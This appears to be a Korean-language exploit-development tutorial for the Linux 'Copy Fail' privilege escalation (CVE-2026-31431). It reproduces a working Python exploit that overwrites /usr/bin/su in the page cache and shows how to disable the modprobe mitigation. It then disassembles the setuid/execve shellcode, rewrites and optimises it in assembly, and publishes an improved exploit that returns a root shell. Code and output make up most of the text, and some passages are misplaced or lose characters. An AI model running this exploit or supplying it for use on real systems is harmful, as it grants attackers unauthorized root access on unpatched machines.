
CVE-2026-31431 (Copy Fail) — x86-64 어셈블리 분석 및 개발 | x86-64 어셈블리 분석 및 개발
Theori에 게시된 소스 코드를 기반으로, 완전히 순수 어셈블리 언어(외부 라이브러리 없음)로 변환할 때까지 여러 연습을 수행할 것입니다.```python #!/usr/bin/env python3
import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")
## 테스트 환경
이 실습은 다음 머신에서 진행합니다.```bash
> $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 24.04.4 LTS
Release: 24.04
Codename: noble
> $ uname -rm
6.19.4-061904-generic x86_64
Python 프로그램을 실행하여 시스템이 취약한지 확인합니다. 오류가 발생하면 취약하지 않은 것이고, sh 쉘이 열리면 취약한 것입니다.```bash
$ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/home/gmg/copy.fail/copyfail.py", line 7, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory
### 완화 조치 비활성화
이 머신에서는 보안 자동 업데이트를 통해 완화 조치가 다운로드되었기 때문에 실패했습니다. 이를 테스트하기 위해 완화 조치가 있는 파일의 이름을 변경하여 방어를 낮춥니다.```bash
# Buscar si existe un modprobe explícito
> $ grep -r "algif" /etc/modprobe.d/
/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false
# Renombrar el archivo donde se encuentra la mitigación
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak
프로그램을 다시 테스트하면 이제 쉘을 반환하고 우리가 root임을 확인합니다.```bash
$ python3 copyfail.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
### 보호 재활성화
연습이 끝난 후, 다음을 실행하여 보호를 다시 활성화합니다:```bash
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf
> $ sudo modprobe -r algif_aead
> $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
먼저 분석해야 할 것은 zlib로 압축된 문자열이 무엇인지입니다. 이를 위해 파이썬 프로그램 decompress.py를 만들어 압축을 풀고 output.bin 파일을 생성합니다.```python
import zlib
hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
data = zlib.decompress(bytes.fromhex(hex_data))
with open("output.bin", "wb") as f: f.write(data)
print(f"Archivo generado: output.bin ({len(data)} bytes)")
파일 유형을 실행하고 분석합니다.```bash
> $ python3 decompress.py
Archivo generado: output.bin (160 bytes)
> $ file output.bin
output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
이제 우리는 그것이 ELF 64-bit LSB executable 파일이라는 것을 알고 있으니, 조사해 보겠습니다.```bash
$ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0
There are no sections in this file.
There are no section groups in this file.
Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000
There is no dynamic section in this file.
There are no relocations in this file. No processor specific unwind information to decode
Dynamic symbol information is not available for displaying symbols.
No version information found in this file.
ELF 구조는 **120바이트**를 차지합니다: **ELF 헤더** (64바이트) + **프로그램 헤더** (56바이트). 기계어 코드는 120번째 바이트(0x78)부터 시작하며, 이는 **진입점 주소: 0x400078**과 일치합니다.
### 코드 디스어셈블
**진입점 주소: 0x400078**을 확보했으므로, 이제 코드 디스어셈블을 시작할 수 있습니다.```bash
> $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin
output.bin: file format binary
Disassembly of section .data:
0000000000000078 <.data+0x78>:
78: 31 c0 xor eax,eax
7a: 31 ff xor edi,edi
7c: b0 69 mov al,0x69
7e: 0f 05 syscall
80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
87: 31 f6 xor esi,esi
89: 6a 3b push 0x3b
8b: 58 pop rax
8c: 99 cdq
8d: 0f 05 syscall
8f: 31 ff xor edi,edi
91: 6a 3c push 0x3c
93: 58 pop rax
94: 0f 05 syscall
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
각 매개변수 설명:
-D — 전체 역어셈블(Disassemble All). 파일의 모든 내용을 역어셈블하며, 코드로 표시된 섹션뿐만 아니라 모두 포함합니다. 이 옵션이 없으면 -d는 .text 섹션만 역어셈블하는데, 이 파일은 ELF 섹션이 없으므로(순수 바이너리) 아무것도 표시되지 않습니다.-b binary — 바이너리 형식. objdump에게 파일을 원시 데이터로 처리하도록 지시하며, ELF 헤더를 파싱하지 않습니다. 이 옵션이 없으면 objdump는 파일에서 ELF 헤더를 읽으려고 시도하고 실패하거나 잘못 역어셈블합니다.-m i386:x86-64 — 머신 아키텍처. 역어셈블할 명령어 세트를 지정합니다. i386은 기본 제품군이고, :x86-64는 64비트 모드를 지정합니다. -b binary를 사용할 때 필요합니다. ELF 헤더가 없으면 objdump가 아키텍처를 알 수 없기 때문입니다. -m 없이는 i386(32비트)으로 가정하여 역어셈블이 잘못됩니다. lea rdi, [rip+0xf] 같은 64비트 명령어가 쓰레기로 디코딩됩니다.-M intel — 구문 모드. AT&T 구문(mov $0x69, %al) 대신 Intel 구문(mov al, 0x69)을 사용합니다.요약: **-b binary**를 사용할 때는 **-m**이 필수입니다. objdump가 ELF 헤더 없이 아키텍처를 추론할 수 없기 때문입니다. 일반 ELF 파일( -b binary 없음)에서는 -m이 필요하지 않습니다. 아키텍처가 헤더의 e_machine에 있기 때문입니다.
이 경우 -z 매개변수가 중요합니다. 나중에 살펴보겠지만 0이 패딩으로 사용되며, 이 매개변수가 없으면 다음에 오는 내용을 표시하여 정확한 역어셈블 결과를 얻을 수 없습니다.```bash
9d: 00 00 add BYTE PTR [rax],al
...
### "/bin/sh" 문자열 식별
objdump 출력에서 볼 수 있습니다:```bash
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add BYTE PTR [rax],al
9f: 00 .byte 0
그리고 0x80 위치에는, 다음과 같습니다:```bash 80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96
Interpretando esta última línea inferimos que se trata de un string, que comienza en la ubicación 0x96 y termina en 0x9F. Podemos ver el string de las siguientes formas:```bash
> $ strings -t x output.bin
96 /bin/sh
> $ xxd -s 0x96 -l 10 output.bin
00000096: 2f62 696e 2f73 6800 0000 /bin/sh...
첫 번째 00은 문자열(/bin/sh\0)의 끝을 나타내는 널 종결자입니다. 나머지 두 개의 00은 정렬 패딩입니다.
코드를 정리하면 다음과 같습니다:```assembly ; Archivo: payload.asm
BITS 64
section .text xor eax, eax ; rax = 0 xor edi, edi ; rdi = 0 mov al, 0x69 ; rax = 105 (setuid) syscall ; setuid(0)
lea rdi, [rel shell_string] ; rdi -> "/bin/sh"
xor esi, esi ; rsi = 0 (argv = NULL)
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
shell_string: db "/bin/sh", 0 ; string con terminador NULL db 0, 0 ; padding de alineación
> 패딩은 전체가 4로 나누어떨어지도록 보장합니다. Python 익스플로잇이 page cache에 4바이트 청크 단위로 페이로드를 쓰기 때문입니다. 크기가 4의 배수가 아니라면 마지막 청크가 불완전하게 남아 쓰기가 올바르지 않게 됩니다.
### 원본과의 동일성 확인
이 코드는 문자열 압축 해제 후 바이너리로 컴파일하여 생성한 **output.bin** 파일과 동일한지 확인합니다:```bash
> $ nasm -f bin payload.asm -o payload.bin
파일 output.bin에서 코드만 추출합니다. 처음 120바이트가 ELF 구조에 해당한다는 것을 알고 있으므로, 해당 바이트 수만큼 건너뜁니다.```bash
$ dd if=output.bin bs=1 skip=120 > payload-original.bin 40+0 records in 40+0 records out 40 bytes copied, 0,00247062 s, 16,2 kB/s
우리는 우리의 코드가 원래 페이로드와 동일함을 확인합니다. 이를 수행하는 세 가지 방법이 표시됩니다.```bash
> $ diff -s payload-original.bin payload.bin
Files payload-original.bin and payload.bin are identical
> $ cmp -s payload-original.bin payload.bin && echo "-->> Idénticos" || echo "-->> Distintos"
-->> Idénticos
> $ md5sum payload-original.bin payload.bin | awk '{h[NR]=$1; print} END {print (h[1]==h[2]) ? "-->> Idénticos" : "-->> Distintos"}'
a48e81f49bfd55a8f7ec72a5c29a1e31 payload-original.bin
a48e81f49bfd55a8f7ec72a5c29a1e31 payload.bin
-->> Idénticos
payload.asm 코드가 정확히 원본과 일치한다는 확신이 있으므로, 이를 최적화하겠습니다.```assembly ; Archivo: payload-optimized.asm
BITS 64
section .text xor edi, edi ; rdi = 0 push 0x69 ; 105 (setuid) pop rax ; rax = 105 syscall ; setuid(0)
xor esi, esi ; rsi = 0 (argv = NULL)
mov rbx, 0x0068732f6e69622f ; rbx = "/bin/sh\0"
push rbx ; string al stack
push rsp ; push dirección del string
pop rdi ; rdi → "/bin/sh" en stack
push 0x3b ; 59 (execve)
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
xor edi, edi ; rdi = 0
push 0x3c ; 60 (exit)
pop rax
syscall ; exit(0)
db 0 ; padding de alineación
> 정렬 패딩: 120 (headers) + 35 (código) = 155 -> +1 byte = 156 / 4 = 39 chunks.
**2부**에서는 각 최적화의 이유를 자세히 살펴보겠습니다.
컴파일:```bash
> $ nasm -f bin payload-optimized.asm -o payload-optimized.bin
페이로드를 직접 실행하려면 다음과 같이 컴파일하고 링크해야 합니다:```bash
$ nasm -f elf64 payload.asm -o payload.o $ ld payload.o -o payload ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload $
$ nasm -f elf64 payload-optimized.asm -o payload-optimized.o $ ld payload-optimized.o -o payload-optimized ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload-optimized $
경고를 제거하려면 **`section .text`** 다음에 다음 줄을 추가해야 합니다:```assembly
global _start
_start:
원본 페이로드(output.bin)의 ELF 헤더(처음 120바이트)와 최적화된 36바이트 페이로드(payload-optimized.bin)를 결합합니다. 일부 확인을 수행하고 실행 권한을 할당한 후 실행하여 셸을 얻습니다.```bash
$ { dd if=output.bin bs=1 count=120; cat payload-optimized.bin; } > payload-optimized.elf 120+0 records in 120+0 records out 120 bytes copied, 0,000526437 s, 228 kB/s
$ ls -l payload-optimized.elf -rw-rw-r-- 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
$ file payload-optimized.elf payload-optimized.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
$ chmod +x payload-optimized.elf
$ ./payload-optimized.elf $
## ELF 헤더 분석
원본 ELF의 헤더(120바이트)와 최적화된 페이로드(36바이트)를 연결하면 결과 파일은 156바이트가 되지만, 헤더의 **p_filesz** 및 **p_memsz** 필드는 여전히 원본 파일의 값인 158(160바이트 파일)을 가리킵니다. 이 필드들을 분석하여 수정하겠습니다.
이를 위해 ELF 파일 헤더의 구조를 알아야 합니다.```c
// --- ELF Header (64 bytes) ---
// Definido en <elf.h> como Elf64_Ehdr
struct Elf64_Ehdr { // Offset Bytes
unsigned char e_ident[16]; // 0x00 16
uint16_t e_type; // 0x10 2
uint16_t e_machine; // 0x12 2
uint32_t e_version; // 0x14 4
uint64_t e_entry; // 0x18 8
uint64_t e_phoff; // 0x20 8
uint64_t e_shoff; // 0x28 8
uint32_t e_flags; // 0x30 4
uint16_t e_ehsize; // 0x34 2
uint16_t e_phentsize; // 0x36 2
uint16_t e_phnum; // 0x38 2
uint16_t e_shentsize; // 0x3A 2
uint16_t e_shnum; // 0x3C 2
uint16_t e_shstrndx; // 0x3E 2
}; // Total: 64 bytes
// --- Program Header (56 bytes) ---
// Definido en <elf.h> como Elf64_Phdr
struct Elf64_Phdr { // Offset Bytes
uint32_t p_type; // 0x40 4
uint32_t p_flags; // 0x44 4
uint64_t p_offset; // 0x48 8
uint64_t p_vaddr; // 0x50 8
uint64_t p_paddr; // 0x58 8
uint64_t p_filesz; // 0x60 8
uint64_t p_memsz; // 0x68 8
uint64_t p_align; // 0x70 8
}; // Total: 56 bytes
프로그램 헤더의 p_filesz 및 p_memsz가 어떤 값을 갖는지 살펴봅니다. 이는 세그먼트가 디스크의 파일에 존재하는 바이트 수와 로드 시 메모리에 예약되는 바이트 수를 나타냅니다.
p_filesz 및 p_memsz의 오프셋은 각각 0x60 및 0x68입니다.```bash
$ xxd -s 0x60 -l 8 -p output.bin 9e00000000000000
$ xxd -s 0x68 -l 8 -p output.bin 9e00000000000000
### 엔디언 확인
시각적으로 값이 **리틀 엔디언**인 것을 알 수 있습니다. 만약 빅 엔디언이었다면 값이 매우 커서 160바이트 크기와 일치하지 않을 것이기 때문입니다. 이를 확인하기 위해 ELF 헤더의 **e_ident[5]** 값을 검사합니다.
가능한 값은 다음과 같습니다:
| 값 | 상수 | 의미 |
|---|---|---|
| 0x01 | ELFDATA2LSB | 리틀 엔디언 (x86, x86-64, ARM) |
| 0x02 | ELFDATA2MSB | 빅 엔디언 (SPARC, PowerPC, MIPS BE) |
실행합니다:```bash
> $ xxd -s 5 -l 1 -p output.bin
01
확인되었으며 little-endian입니다. 십진수 값을 살펴봅시다:```bash
$ od -An -t u8 -j 0x60 -N 8 output.bin 158
$ od -An -t u8 -j 0x68 -N 8 output.bin 158
### 크기 비교
파일 크기를 나열합니다.```bash
> $ ls -l output.bin payload-optimized.elf
-rw-rw-r-- 1 gmg gmg 160 may 12 18:03 output.bin
-rwxrwxr-x 1 gmg gmg 156 may 14 17:55 payload-optimized.elf
원본 파일 크기는 160바이트이지만 구조체에는 158바이트가 할당되어 있습니다. 이는 파일 끝에 2바이트의 패딩이 있고, 작성자가 정확성을 기해 로드될 바이트만 표시하기로 결정했기 때문입니다. 158 대신 160이 있어도 패딩 2바이트가 exit 뒤에 있어 실행되지 않고 참조되지도 않으므로 정상적으로 실행됩니다.
최적화된 파일은 156바이트를 차지하며 1바이트의 패딩이 있습니다. 프로그램 작성자의 정확성 원칙에 따라 p_filesz와 p_memsz를 155로 정의하겠습니다.
155를 10진수에서 16진수로 변환합니다.```bash
$ echo "obase=16; 155" | bc 9B
$ printf '%x\n' 155 9b
Program Header의 **p_filesz** 및 **p_memsz** 필드가 올바른 값을 가지도록 하는 것은 좋은 방법입니다.```bash
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x60)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000686896 s, 1,5 kB/s
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x68)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000130524 s, 7,7 kB/s
변경 사항이 올바르게 적용되었는지 확인합니다.```bash
$ od -An -t u8 -j 0x60 -N 8 payload-optimized.elf 155
$ od -An -t u8 -j 0x68 -N 8 payload-optimized.elf 155
또한 Program Header를 보면 이를 확인할 수 있습니다.```bash
> $ readelf -l payload-optimized.elf
Elf file type is EXEC (Executable file)
Entry point 0x400078
There is 1 program header, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x000000000000009b 0x000000000000009b R E 0x1000
실행해도 계속 정상적으로 동작합니다.```bash
$ ./payload-optimized.elf $
## 익스플로잇에 통합
최적화된 페이로드를 압축하고 익스플로잇에 삽입할 16진수 문자열을 반환하는 프로그램을 만듭니다.```python
# Archivo: compress.py
import zlib
with open("payload-optimized.elf", "rb") as f:
data = f.read()
compressed = zlib.compress(data)
print(f"Original: {len(data)} bytes -> Comprimido: {len(compressed)} bytes")
print(compressed.hex())
$ python3 compress.py Original: 156 bytes -> Comprimido: 86 bytes 789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6
원본 익스플로잇의 압축된 문자열을 새로운 최적화된 문자열로 대체합니다.```python
#!/usr/bin/env python3
# Archivo: copyfail-optimized.py
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
최적화된 페이로드로 익스플로잇을 테스트하고 올바르게 작동하는지 확인했습니다.```bash
$ python3 copyfail-optimized.py
uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
> ⚠️ 테스트가 끝난 후에는 [보호 재활성화](#reactivar-la-protección)를 잊지 마세요.
## 연락처
질문, 제안 또는 수정 사항이 있으면 저장소 이름을 알려주며 다음 주소로 보내주세요:
✉️ `[email protected]`
-z — 0 시퀀스 생략 비활성화. 이렇게 하면 0을 생략하지 않고 모두 표시합니다.--start-address=0x78 — 오프셋 0x78(120바이트)부터 시작. 페이로드의 ELF 헤더와 프로그램 헤더를 건너뛰고 기계어 코드만 역어셈블합니다. 이 옵션이 없으면 헤더를 명령어로 역어셈블합니다.